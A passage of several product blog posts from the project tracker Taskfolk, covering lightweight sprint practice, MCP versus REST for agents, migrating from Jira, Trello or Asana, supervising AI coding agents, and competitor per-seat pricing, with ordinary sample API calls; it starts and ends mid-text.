second look. Taskfolk is free for viewers, $3 per builder, and gives every new team a 14-day Pro trial on its first workspace with no card, so you can put your real team in and see the bill before you commit. --- # How to run sprints without drowning in ceremony URL: https://taskfolk.ai/blog/run-sprints-without-the-ceremony Published: 2026-07-12 Updated: 2026-07-25 Author: The Taskfolk team Tags: sprints, agile, engineering management, how-to A lightweight sprint process for small teams: what to keep, what to cut, and how to get the value of planning and review without the meeting tax. Somewhere along the way, "sprint" stopped meaning a short block of focused work and started meaning a calendar full of meetings named after it. Planning, refinement, standup, review, retro. For a team of forty that scaffolding earns its keep. For a team of six it can eat a full day a week and give back very little. You can keep the useful part of sprints and drop most of the ritual. Here is how we do it, and what we cut. ## Keep the boundary, cut the ceremony The one thing worth protecting is the boundary: a fixed window, usually two weeks, where the set of work is agreed and mostly stable. That is what makes a sprint useful. It forces a decision about what matters now, and it gives you a clean line to look back across. Almost everything bolted onto that boundary is optional. You do not need a two-hour planning meeting to pick the work. You do not need a daily standup to know what is happening if the board is honest. Protect the boundary. Question the rest. | Ceremony | Verdict | What replaces it | | --- | --- | --- | | The sprint boundary | Keep | Nothing. This is the point. | | Planning meeting | Shrink | Async draft, then 30 minutes to lock it | | Daily standup | Cut | An honest board, plus a flag when someone is stuck | | Review | Shrink | 30 minutes walking the done column | | Separate retro | Cut | Folded into the review | ## Planning: an hour, asynchronous first Do the picking before the meeting, not during it. A day ahead, someone drafts the sprint: pulls the top of the backlog, sizes it roughly against the team's real capacity, and drops it in. Everyone reads it on their own time and comments where something is wrong. ![A ranked backlog in Taskfolk, with open issues ordered by priority ready to pull into a sprint](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) Then the "meeting" is thirty minutes to resolve the disagreements the comments surfaced, not to read tickets aloud together. Most of the room's time in a normal planning session is spent watching one person scroll. Skip that part. If you use a tool where [an agent can draft the sprint](/blog/ai-sprint-planning-what-works) from the backlog and your capacity, even better. Let it propose, and spend your human time on the judgment calls. In Taskfolk, opening the next window is one API call, so a person or an agent can have the draft ready before anyone looks at a calendar: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/sprints" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "name": "Sprint 14", "goal": "Ship the new onboarding flow", "start_at": "2026-07-20", "end_at": "2026-07-31" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/sprints", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ name: "Sprint 14", goal: "Ship the new onboarding flow", start_at: "2026-07-20", end_at: "2026-07-31", }), }, ); const { data: sprint } = await res.json(); ``` There is no separate "add to sprint" endpoint. An issue points at its sprint, so pulling a ticket into the window is a normal PATCH: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-12" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"sprint_id": ""}' ``` A sprint has three states, and a project can run several active sprints at once. Starting one flips it to active without demoting the others, so squads that share a project each keep their own window: ```mermaid stateDiagram-v2 [*] --> planned planned --> active active --> completed completed --> [*] ``` ![The Sprints page in Taskfolk showing the current sprint window with its dates and goal](/images/blog/how-to-run-a-sprint-sprints-page.webp) ## Standup: read the board, not the room The daily standup exists to answer three questions: what got done, what is next, what is stuck. If your board is current, two of those are already answered without anyone speaking. ![A kanban board in Taskfolk with columns and cards showing who is working on what](/images/blog/how-to-use-a-kanban-board-overview.webp) So we do not stand in a circle. People update their own issues as they work, and the only thing worth a synchronous moment is "stuck." A short message in a channel, or a flag on the blocked issue, does the job. If someone is blocked, that is worth interrupting for. "I did some tickets yesterday" is not. The failure mode here is a stale board. If the board lies, you are back to needing the meeting. So the deal is simple: keep your issues honest and you buy back the standup. ## Review: show the work, not slides At the end of the window, look at what shipped. Not a deck about what shipped, the actual done column. Read through it, note what slipped and why, and decide what carries into the next sprint. If stakeholders still want a written summary, [an AI-drafted weekly update](/blog/let-ai-write-your-weekly-project-update) can come straight from the same board. ![The project summary page in Taskfolk with status breakdown and recent activity for the sprint review](/images/blog/how-to-read-the-project-summary-overview.webp) This is also the only retro most small teams need. You do not need a separate hour with sticky notes. When you review what actually happened, the "what should we change" conversation tends to write itself: the thing that slipped twice is the thing to fix. ## What this looks like in a week Monday of week one: the draft sprint is already there, thirty minutes to lock it. The next ten working days: people do the work and keep their issues current, blockers get flagged as they happen. Last day: thirty minutes to walk the done column and set up the next window. ```mermaid flowchart LR A[Draft the sprint async] --> B[Lock it in 30 min] B --> C[10 days of honest work] C --> D[Walk the done column] D --> A ``` That is roughly one hour of meetings per two-week sprint, down from something like six or eight. The work did not change. The overhead did. ## The one rule that makes it work None of this holds up if the board is not trusted. The entire trade, less talking for more doing, depends on the tracker being an accurate picture of reality. That means low friction to update, a status that means the same thing to everyone, and no parallel source of truth in someone's private notes. Pick a tracker that makes updating an issue faster than mentioning it in a meeting, and the ceremony falls away on its own because nobody needs it anymore. In Taskfolk that is the whole point: the board is the standup, the done column is the review, and a person or an agent can keep it current without it feeling like a second job. --- # Should your agent use MCP or the REST API? URL: https://taskfolk.ai/blog/mcp-or-rest-api-for-your-agent Published: 2026-07-12 Updated: 2026-07-25 Author: The Taskfolk team Tags: MCP, API, developer, AI agents, integrations MCP and a REST API solve overlapping problems for AI agents. Here is a plain guide to when each one is the right call, and why you often want both. If you are wiring an agent into a service like Taskfolk, you have two doors: the Model Context Protocol server and the plain REST API. They overlap, which is exactly why people get stuck choosing. Here is how to think about it without overthinking it. ## What each one actually is The REST API is the classic contract. You send an HTTP request with a bearer token, you get JSON back. It does not care whether a human, a cron job, or a model is calling it. It is the source of truth for what the service can do. MCP sits on top of that idea and adds discovery. An MCP client asks the server "what tools do you have and how do I call them," gets a machine-readable answer, and can use those tools without anyone hand-writing a description of each endpoint. If the service adds a tool, the client sees it on the next connection. No wrapper to ship, no prompt to maintain. In Taskfolk's case the discovery request is a plain JSON-RPC message to the MCP endpoint, authenticated with the same key the REST API takes: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/list" } ``` The server answers with a descriptor for every tool the key's scopes allow, and a call to one of those tools (say `create_issue`) re-enters the REST pipeline in-process. Same auth, same rate limits, same behavior: ```mermaid sequenceDiagram participant A as Agent client participant M as MCP server participant R as REST API A->>M: tools/list M-->>A: tool descriptors A->>M: tools/call create_issue M->>R: same request, in process R-->>M: 201 with the new issue M-->>A: result ``` So they are not really competitors. MCP is a convenience layer for agents; the REST API is the layer underneath it that does the actual work. ## Reach for MCP when the agent lives in an MCP-native client If your agent runs inside something that already speaks MCP, like Claude or a coding client that supports it, MCP is the low-effort win. You add the server once with a key, and the tools appear in the agent's toolset. For Claude Code the whole setup is one command: ```bash claude mcp add --transport http taskfolk-product \ https://taskfolk.ai/api/mcp/v1 \ --header "Authorization: Bearer " ``` You are not writing glue, and you are not keeping a hand-rolled tool list in sync with the API. ![An AI agent connected to a workspace through the agent hub](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) This is the case where MCP clearly beats calling REST yourself: the client handles the protocol, the tools show up, and you spend your time on the agent's behavior instead of on plumbing. ## Reach for the REST API when you control the code If you are writing the integration yourself, in a script, a backend service, a CI job, or an agent framework that does not speak MCP, [call the REST API directly](/blog/let-ai-agents-run-your-board-over-the-rest-api). You get exact control over requests, retries, pagination, and error handling. You are not adding a protocol layer you would only have to work around. ![The Developer console where API keys and usage live](/images/blog/how-to-use-the-rest-api-developer-overview.webp) The core write, filing an issue, looks like this from the shell: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "type": "task", "title": "Timeline + Summary tab", "priority": "medium" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Timeline + Summary tab", priority: "medium", }), } ); const issue = await res.json(); // 201, includes the new key like WEB-142 ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"type": "task", "title": "Timeline + Summary tab", "priority": "medium"}, ) issue = res.json() # 201, includes the new key like WEB-142 ``` A few concrete signs REST is the right door: - You need to run a batch job or a scheduled task, not an interactive agent session. - You want deterministic behavior and precise error handling around each call. - Your client or framework has no MCP support, and adding it would be more work than the handful of endpoints you need. - You are doing something the tool surface does not expose but the full API does. ## The honest trade-offs MCP is younger. The spec still moves, client support is uneven, and you are trusting the client to handle auth and transport correctly. When it works it is genuinely less code. When it does not, you are debugging someone else's protocol implementation instead of a plain HTTP call you understand end to end. You can see how uneven the landscape still is in [our audit of 13 trackers' MCP servers](/blog/mcp-audit-project-management-2026). REST is boring in the good way. It has been stable for years, every language has a client, and when something breaks you can curl it and see exactly what happened. The cost is that you write and maintain the description of the API that the model reads, and you keep it current yourself. | | MCP | REST | |---|---|---| | Tool discovery | Automatic, on connect | You write and maintain it | | Spec maturity | Young, still moving | Stable for years | | Debugging | Through the client's protocol layer | curl it and read the response | | Code you own | Almost none | The whole integration | | Fits best | Interactive agents in MCP clients | Scripts, services, batch jobs | There is also a security point that applies to both. Whichever door the agent uses, give it its own key with a narrow scope. An agent that only files bugs does not need permission to close sprints or edit settings. ![The API keys tab where scoped keys are minted and revoked](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Read broadly, write narrowly, and mint a separate key per agent so you can revoke one without touching the rest. ## Why you probably want both available The useful position is not "pick one forever." It is "expose both and let each agent use whichever fits." Taskfolk runs [a first-party MCP server](/blog/why-taskfolk-has-an-mcp-server) for agents in MCP-native clients, keeps the full REST API as the source of truth for everything else, and also ships an installable skill bundle for clients that want a described tool set without MCP. Same capabilities, three front doors. ![The skill bundle installed in Claude Code](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) The decision, in one picture: ```mermaid flowchart TD Q["Where does your agent run?"] -->|"an MCP-native client"| M["Use the MCP server"] Q -->|"code you write and run yourself"| R["Call the REST API"] Q -->|"a client that wants described tools without MCP"| S["Install the skill bundle"] M --> U["The same underlying API"] R --> U S --> U ``` Practical default: if your agent is in a client that speaks MCP, start there because it is the least code. If you are writing the integration by hand or automating a job, call REST. And do not treat that as a permanent decision, the two sit on the same underlying API, so moving between them later is cheap. --- # How to migrate from Jira, Trello or Asana without data loss URL: https://taskfolk.ai/blog/migrate-from-jira-trello-asana-to-taskfolk Published: 2026-07-12 Updated: 2026-07-28 Author: The Taskfolk team Tags: migration, Jira alternative, how-to, comparison, integrations An honest migration guide: what imports cleanly, what needs a decision, and the order to move your projects so nothing gets lost on the way over. Moving a team off Jira, Trello, or Asana is not the scary part. The scary part is the week after, when someone asks where a ticket went and you do not have an answer. So before you export anything, it helps to know exactly what carries over, what does not, and what you have to decide by hand. And if you are still choosing where to land, the ranked [Jira alternatives roundup](/alternatives/jira) compares the field first. This is a how-to, not a sales pitch for a magic button. We built Taskfolk's import and I will tell you where it is genuinely good and where it will leave gaps you have to fill. Nobody ships a one-click migration that preserves everything. Anyone who says they do is counting on you not to check. ## What actually moves Taskfolk imports issues two ways: a CSV upload, or a direct connection to your current tool. The service importers cover Trello, Jira, ClickUp, Monday, Asana, and Linear. You paste a read-only API token plus the locator for the board or project (a Trello board id, a Jira project key and site domain, an Asana project id, and so on), and Taskfolk pulls the items in and turns each one into an issue. ![The import wizard's source step, where you pick CSV or a service connector](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) Both paths land in the same place, so the mapping is identical whether you upload a spreadsheet or connect the source directly. ```mermaid flowchart LR A[CSV upload] --> N[One normaliser] B[Service connector] --> N N --> M[Status, type, priority mapping] M --> P[Issues in your Taskfolk project] ``` Here is what comes across cleanly: - **Titles and descriptions.** The card or ticket name becomes the issue title. The body becomes the description. Jira's rich description format and ClickUp's markdown are flattened to plain markdown text. - **Status.** Taskfolk reads your column or state name and maps it to a category. "To Do", "Doing", and "Done" from Trello, or Linear's backlog/started/completed states, land in the right place. If a name is unfamiliar it falls back to backlog rather than dropping the row. - **Type.** Jira issue types map to Taskfolk's epic / story / task / bug. A "feature" becomes a story, a "defect" becomes a bug. Anything unrecognised becomes a task. - **Priority.** "Urgent", "blocker", "minor", and the usual synonyms map onto Taskfolk's priority scale. - **Labels and tags.** Every label on an item is created in the target project if it does not already exist, then attached. You do not pre-create them. - **Assignees, if the person is already in the workspace.** More on this below, because it is the one that trips people up. - **Comments and due dates,** where the source exposes them. The importer is deliberately forgiving about vocabulary. Trello, Jira, and a hand-edited CSV all use different words for the same thing, and the normaliser tolerates that so a row is never silently lost over a label it did not recognise. ## What needs a decision from you Some things cannot be moved automatically, and pretending otherwise would just move the problem to next week. **Attachments come across as links, not files.** Taskfolk does not re-download every file from Trello or Jira and re-host it. Instead, the original attachment URLs are added to the issue description as a short list of links. Those links keep working as long as the old account is alive and the file is still readable there. If you plan to fully shut down the old tool, download the attachments you care about first, or keep the source account open in read-only mode for a grace period. This is the single most common thing people forget. **Subtasks flatten into tasks.** A CSV row, and most connector payloads, is flat. There is no reliable parent for a subtask in that stream, so Taskfolk imports each subtask as a normal task rather than guessing at a parent and getting it wrong. You keep the work item, you just rebuild the parent/child link by hand for the few that matter. In practice most teams find this affects a small number of issues. **Workflows and transition rules do not transfer.** Taskfolk has its own [status and workflow model](/blog/run-sprints-without-the-ceremony), including custom board columns, per-column WIP limits, and Jira-style allowed-transition rules. None of that structure rides along with the issues, because every tool encodes it differently. Set up your columns and any transition rules in Taskfolk first, then import into them. **Custom fields do not map one to one.** Taskfolk supports custom fields, but there is no automatic schema match from your old tool's fields to new ones. Decide which custom fields you actually need, create them in Taskfolk, and if a field's value is important, fold it into the description or a label before you import. **History and exact timestamps.** You are importing the current state of your work, not a full audit trail. Created and closed timestamps from the source are not reconstructed. If regulatory history matters, keep the old system archived rather than deleting it. ## The order that avoids surprises Migrations go wrong when people import first and think later. Do it in this order instead. ```mermaid flowchart TD A[Test batch on one project] --> B[Set up statuses] B --> C[Invite the people] C --> D[Run the import] D --> E[Read the per row summary] E --> F[Verify against the source] F --> G[Cut over and freeze the old tool] ``` **1. Export or connect a test batch.** Start with one project, not the whole company. Either export a CSV from your current tool or generate a read-only token for the connector. Run it against a fresh Taskfolk project so a mistake costs you a delete, not a cleanup. **2. Set up statuses before you import.** Create the board columns you want and map each to the right category. Add WIP limits or transition rules now if you use them. Importing into the columns you actually want beats importing into defaults and dragging hundreds of cards later. ![The Board statuses tab in project settings, where columns and categories are configured before an import](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) **3. Invite the people first.** Assignees only resolve if the person's email already belongs to the workspace. Taskfolk matches the assignee email on each row against your members and, if it finds no match, leaves the issue unassigned rather than inventing a user. Invite your team before the import and assignments come across; import into an empty workspace and everything lands unassigned. Viewers are free, so there is no cost to inviting the whole team early. ![The workspace People page, where members are invited before assignees can resolve](/images/blog/how-to-invite-team-members-people-overview.webp) **4. Run the real import and read the summary.** Every import returns a per-row result: created, or skipped with a reason. Read it. A skipped row usually means a missing title or an assignee who is not a member yet, both of which are quick to fix and re-run. The CSV path handles up to 1,000 rows at a time; a larger migration runs in the background with a higher ceiling so a big project is not truncated. **5. Verify before you cut over.** Open the board and the list view. Spot-check a handful of issues against the source: right status, right labels, right assignee, description intact, attachment links resolving. Do this while the old tool is still live. Cutting over is a one-way door, and five minutes of checking is cheaper than a rollback. **6. Cut over, then freeze the source.** Once the batch looks right, repeat per project, point the team at Taskfolk, and set the old tool to read-only for a grace period instead of deleting it. That grace period is your safety net for attachment links and anything you missed. ## When to skip the importer entirely If your migration is really a rebuild, or you are moving from a homegrown tracker with no clean export, the [public REST API](/api/v1/reference) is often the better tool. The bulk-create endpoint takes up to 50 issues per request and returns a per-item result, so a partial failure tells you exactly which items did not land instead of failing the whole batch. Point a script at your old database, shape the issues the way you want, and post them in. You need an API key with the `issues:write` scope, created from the workspace's Developer page. ![The Developer page's Keys tab, where an API key with write scope is minted](/images/blog/how-to-use-the-rest-api-keys-tab.webp) The request is one POST with an `items` array: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/bulk" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" \ -H "Content-Type: application/json" \ -d '{ "items": [ { "type": "bug", "title": "Login times out on slow connections", "priority": "high", "labels": ["auth"] }, { "type": "task", "title": "Migrate billing exports", "assignee": "sara@acme.com" } ] }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/bulk", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ items: oldRows.map((row) => ({ type: "task", title: row.name, description_md: row.body, assignee: row.ownerEmail, })), }), }, ); const { data } = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/bulk", headers={"Authorization": f"Bearer {API_KEY}"}, json={"items": [ {"type": "task", "title": row["name"], "description_md": row["body"]} for row in old_rows ]}, ) for item in res.json()["data"]: if not item["ok"]: print(item["index"], item["error"]["message"]) ``` The response carries one entry per item, in order. A batch where everything landed returns 201; if any item failed you get 207 and the failed entries carry the reason: ```json { "data": [ { "index": 0, "ok": true, "data": { "key": "WEB-141", "title": "Login times out on slow connections" } }, { "index": 1, "ok": false, "error": { "code": "validation", "message": "Title is required." } } ] } ``` Chunk your source into batches of 50, keep the per-item results, and re-run only the failures. For anyone driving the move with an [AI agent or the MCP server](/blog/run-projects-with-ai-agents), the same API is what the agent uses. ## The honest summary | Moves cleanly | Becomes something else | You set up first | | --- | --- | --- | | Titles and descriptions | Attachments become links | Board columns and workflows | | Status, type, priority | Subtasks flatten to tasks | Custom fields | | Labels and comments | History is not reconstructed | Workspace members | | Assignees (if invited) | | | Issues, statuses, labels, priorities, comments, and assignees move well. Attachments become links, subtasks flatten, and workflows plus custom fields are a setup step you do first, not something the import does for you. None of that is a reason to stay on a tool you have outgrown; if that tool is Trello, [when a board stops being enough](/blog/trello-alternative-when-you-outgrow-boards) makes the fuller case. It is just the actual shape of the work, and knowing it up front is the difference between a calm Tuesday and a bad one. If you want to try it, spin up a project and run the sample import to watch the whole pipeline work end to end before you touch real data. Every new workspace gets a 14-day Pro trial with no card, and viewers are always free, so you can bring the team over and check the result before you commit. The [pricing](/pricing) is per builder, not per person who looks. --- # Running a project with AI agents without losing the thread URL: https://taskfolk.ai/blog/run-projects-with-ai-agents Published: 2026-07-11 Updated: 2026-07-28 Author: The Taskfolk team Tags: AI agents, project management, workflow A practical setup for letting AI agents do real project work, create issues, move the board, draft specs, while your team keeps control of what matters. Most ["AI project management"](/ai-project-management) writing stays at the level of principles: start small, keep a human in the loop, mind the failure modes. Good advice, but it leaves you staring at an empty workspace wondering what the first click is. This post is the opposite. It walks one real project from an empty board to a shipped feature, with an agent doing real work at each step, and shows exactly where the product does the plumbing so you do not lose the thread. The pieces have their own how-to guides, and I link each once as we pass it. Here they are strung together in order, on a project small enough to hold in your head. ## The project Say you are adding a feedback widget to a marketing site: a button in the corner, a form, submissions landing as issues. Small feature, real scope, the kind of thing a team ships in a week and an agent can genuinely help with. Call the project WIDGET. It starts with a handful of stories: the button, the form, the backend endpoint, an admin view, and the usual bugs that will show up once QA touches it. We are going to give a coding agent (Claude Code, in this case) a scoped role on WIDGET and run the feature with it, not around it. ## Step 1: connect the agent as a real member An agent in Taskfolk is not a bot bolted onto the side. It is a workspace member with a name, an avatar, and an API key, and it shows up in the same member list as your teammates. That matters for one concrete reason: attribution. Every issue it creates and every field it changes is stamped with the agent's name, in the same activity log a person's edits land in. There is no separate "automation" ledger to reconcile. ![Issue history with changes attributed to the agent by name, exactly like a human teammate's edits](/images/blog/manage-a-team-of-ai-agents-attribution.webp) You [connect the agent](/docs/how-to-use-ai-agents-in-taskfolk) from the agents hub, which mints its key. Two rules to set at this stage: - **One key per agent, never a shared human login.** The change history stays honest, and you can revoke this one key without locking anyone else out. - **A field-write allowlist.** Taskfolk lets you restrict which issue fields an agent may write, per agent. Let the WIDGET agent set status, add labels, and edit descriptions; keep it off assignee and priority if you want those to stay a human call. The allowlist is enforced at the single API write path, so it holds whether the agent uses REST or the MCP tools. That second rule is the quiet one that keeps a capable agent from wandering. Read access to the whole project, write access only where you meant it. ## Step 2: delegate one scoped first job Do not hand over the feature. Hand over one checkable slice of it. [Scoping an agent's first job](/blog/scope-an-ai-agents-first-job) well is most of the battle: pick something narrow enough that a mistake shows up in one ticket, not across the board. For WIDGET, a good first job is the backend endpoint story: it has a clear input and output, it is easy to test, and it does not touch anything a human is mid-way through. You assign the story to the agent the same way you would assign it to a person, from the issue. Here is the part people miss: **the moment you assign an issue to an agent, Taskfolk opens a pending session for it automatically.** You do not have to poke the agent to notice. The assignment is the signal, delivered over the agent's real-time event stream, and the session sits in `pending` until the agent picks it up and claims it, at which point it flips to `running`. If nobody claims it within a week, a worker cancels the stale session so it does not sit there forever pretending work is happening. [Delegating work](/docs/how-to-delegate-work-to-an-agent) is literally assigning it. ![The agent sessions list, where each delegated job shows up as its own session with a live status](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Under the hood it is the same surface your team uses. If the agent files a follow-up bug it found while building the endpoint, that is one authenticated POST, validated exactly like a human submission: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/projects/WIDGET/issues" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "type": "bug", "title": "Form POST returns 500 on empty message", "priority": "high", "labels": ["widget"] }' ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WIDGET/issues", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "type": "bug", "title": "Form POST returns 500 on empty message", "priority": "high", "labels": ["widget"], }, ) issue = res.json() ``` The token in that header is the agent's, carrying only the scopes the job needs. Send an invalid field value and the API answers with a 4xx the agent can read and correct, instead of silently writing a wrong record. ## Step 3: route the harder work through a workflow Assigning a single issue is fine for the endpoint. But some work should follow a fixed path every time: draft, then review, then a second agent runs the tests, then a human approves. In Taskfolk that path is a **workflow** you draw on a canvas, and it routes a ticket through stages automatically. A workflow is a small graph. Agent nodes hand the ticket to a named agent with a stage title and instructions. Condition nodes branch on the issue's fields (a true edge and a false edge). Parallel nodes fan the ticket out and wait for either all branches or any one to finish before moving on. For WIDGET, you might route every new bug through: agent triages it, condition checks whether it is a regression, and if so it goes straight to the coding agent; otherwise it waits for a human to prioritize. ```mermaid flowchart LR N[New bug] --> T["Agent: triage + label"] T --> C{Regression?} C -->|yes| A["Agent: fix on a branch"] C -->|no| H[Human prioritizes] A --> R[Review] ``` The difference from step 2 is that you set the path once and every matching ticket follows it, instead of you assigning each one by hand. [Workflows](/docs/how-to-use-ai-agents-in-taskfolk) are where a single agent doing chores becomes a repeatable pipeline. ## Step 4: review with the verification signal Here is the honest problem with agents that report their own progress: an agent can move its session to "review" or "done" and tell you a pull request is ready, and be wrong, or be gaming you. So Taskfolk does not take the session's word for it. It cross-checks. When a session says it is in review or done, Taskfolk looks at whether the agent actually left attributed activity or a comment on that issue. If it claims completion but the issue shows no trace of its work, the session gets an **unverified** badge. That badge is your review queue: it is the difference between "the agent says it is done" and "the record shows it did something." You still read the diff, but you read the flagged ones first. ![Agent session states in Taskfolk, including a session waiting on human input](/images/blog/manage-a-team-of-ai-agents-states.webp) Keep the high-stakes commit with a person. [Let the agent propose and a human approve](/docs/human-in-the-loop-approval-for-ai-agents) the moves that are expensive to undo: merging, closing the sprint, telling a customer something shipped. On the board that gate is just a review column. Agent work stacks up in it, and nothing leaves without a person dragging it forward. ![A kanban board where agent-created issues wait in a review column until a person moves them forward](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) ## Step 5: the whole feature reads back from the activity log Because the agent was a member the entire time, WIDGET's history is a single readable record. Who opened the endpoint bug, who fixed it, which agent triaged which report, when the human approved the merge. There is no separate audit trail to stitch together, because the agent never worked off to the side. When you run the standup, the [AI project digest](/blog/let-ai-write-your-weekly-project-update) reads that same log and reports the agent's work like any other member's. ## What actually breaks The walkthrough above assumes a few things hold. When agents go wrong, it is almost always one of these. **Duplicates.** An agent files the same bug three times when it cannot find the existing one, so search quality directly controls how much noise ends up on the board. **Lost context.** Hand it the last two comments instead of the whole issue and it answers the wrong question with total confidence; give it the full issue and its links. **Invented values.** It will make up a field value unless the API rejects it, which is why validate-on-write with a clear error matters more than it sounds. ## Where this lands Running a project with agents is not lights-out automation. It is the WIDGET loop repeated: connect the agent as a real member, delegate one scoped slice, route the repeatable paths through a workflow, review the flagged work first, and read the whole thing back from one activity log. The agent does the well-defined 80 percent. The person keeps the judgment calls and the commits that would hurt to get wrong. You can set up the first version of this on your own project this afternoon. Connect one agent, assign it one story, and watch the session open on its own. --- # Jira alternatives in 2026: what you actually pay per seat URL: https://taskfolk.ai/blog/jira-alternatives-price-per-seat Published: 2026-07-11 Updated: 2026-07-28 Author: The Taskfolk team Tags: pricing, Jira alternative, comparison Six Jira alternatives compared honestly: Linear, ClickUp, Asana, Monday, Trello, and Taskfolk, with real per-seat math and where each one actually fits. Every "top Jira alternatives" list ranks tools by features. That is the wrong axis for most teams. The features are close enough that you will be fine with several of them. What actually differs, and what you feel every month, is the bill. We sell a project tracker, so take the framing with that in mind. But the numbers below are public list prices as of July 2026, and the pattern holds no matter which tool you pick. ## The list price is not the real price Here is the standard team tier for the common tools, per user per month, billed annually: | Tool | Team tier, per user/month | |---|---| | Trello | $5 | | ClickUp | $7 | | Jira | $7.91 | | Monday | $9 | | Linear | $10 | | Asana | $10.99 | Those look manageable until you count who you are actually paying for. Most tools charge for every member the same way, whether they run the project or just check it once a week. ## The six alternatives, honestly Before the seat math, here is what each tool is actually good at, and what to watch for. All of them can run a kanban board and a backlog; that stopped being a differentiator years ago. If you want the feature-by-feature version anyway, the ranked [Jira alternatives roundup](/alternatives/jira) has it; this post sticks to the money. **Linear** is the tracker engineering teams pick when they care how the tool feels. Keyboard-first, fast, opinionated around cycles and triage. The catch is the same per-seat model as everyone else, at $10, and a free plan that allows unlimited members but caps you at 250 non-archived issues, which an active team burns through in weeks. We wrote a fuller [Taskfolk vs Linear](/vs/linear) comparison if it is on your shortlist. **ClickUp** is the everything app: tasks, docs, goals, whiteboards, chat. At $7 it undercuts most of the field, and its free plan genuinely allows unlimited members, which is rare. The trade is density. ClickUp has a setting for nearly everything, and teams either love that or spend months turning features off. If Jira felt heavy, audit whether ClickUp actually feels lighter to you. **Asana** is work management for mixed teams: marketing calendars, ops processes, and product work in one place. It is polished and non-technical people take to it quickly. It is also the most expensive tool on this list at $10.99, and its free plan now caps new accounts at 2 users, so the "start free and grow" path barely exists anymore. **Monday** sells visual, spreadsheet-like boards that leadership tends to like in the demo. It is flexible for building lightweight processes. Watch the tier gates: the features you assumed were included, timeline views, automations at volume, integrations, tend to live a tier or two up, and the free plan is 2 seats. **Trello** is the simplest board on the list and still the easiest tool to teach anyone. At $5 it is also the cheapest paid tier here. But it is a board, not a tracker: no real backlog, sprints, or reporting without piling on Power-Ups, and the free plan now caps a workspace at 10 collaborators. Fine for a side project, tight for a company. **Taskfolk**, ours, is a calm tracker with the Jira core, projects, sprints, custom workflows, plus two structural differences: viewers are free with no cap on every plan, and AI coding agents join as named members with their own sessions and attribution. Builders are $3. We are the youngest tool on this list, and the ecosystem is smaller; the [Taskfolk vs Jira](/vs/jira) page spells out both sides. ## The people who only read Think about who touches your tracker. A handful of people create and move work. Then there is everyone else: a manager who looks at the board on Monday, a designer who reads the ticket they are attached to, someone in support checking whether a bug is fixed, a founder skimming progress. ```mermaid flowchart LR T["Team of 25"] --> B["5 builders"] T --> V["20 viewers"] B --> P["Paid seats on every tool"] V --> S["Per seat tool: 20 more paid seats"] V --> U["Taskfolk: free, no cap"] ``` On most tools, every one of those people is a paid seat. You are paying Linear or Asana ten dollars a month so your finance lead can look at a burndown chart twice a quarter. Multiply that across a company and the "cheap" tool is not cheap. ![The members page in Taskfolk showing each person's role, where viewers sit alongside builders without counting toward the bill](/images/blog/how-to-manage-roles-and-permissions-people-list.webp) This is why teams do the annoying dance: they under-license, share a login, or keep half the company out of the tool and paste screenshots into chat. The pricing pushes you toward worse habits. ## The hidden line items The per-seat price is only the first number. A few costs show up later, after you have committed. **Docs are often a second product.** Jira's answer to "where do specs live" is Confluence, which is priced separately. If your team needs issues and documents, price both. Several alternatives, Taskfolk and ClickUp among them, ship docs inside the product. **The features you actually wanted sit a tier up.** SSO, advanced roadmaps, higher automation limits, and serious permissions tend to live on Premium or Enterprise tiers across the industry. Jira Premium is $14.54 per user, Linear Business is $16. When you compare tools, compare the tier you will genuinely end up on, not the one on the pricing card. **Storage and guests have their own meters.** Jira's free plan includes 2 GB; attachments add up faster than teams expect. Guest and client access is commonly gated to higher tiers too, so "let the client see their project" can quietly force an upgrade. None of this is scandalous, it is how the category prices. It just means the honest comparison is total annual cost for your real team on the tier you will actually need. ## What about AI agents? New in the calculus since last year: coding agents do real work in trackers now, and the tools differ in how they let that happen. Atlassian ships AI features and a remote MCP server, so agents can reach Jira from outside. Linear has a first-party MCP server as well. The structural question to ask any tool is what an agent is in its data model: an integration acting under an app identity, or a named member whose work is attributed and whose seat may or may not be billed. On Taskfolk, an agent is a named member with visible sessions on the ticket, and agent members are never billed as seats. They are first-class in the API too. One call lists the connected agents in a workspace, with attribution built in: ```bash curl 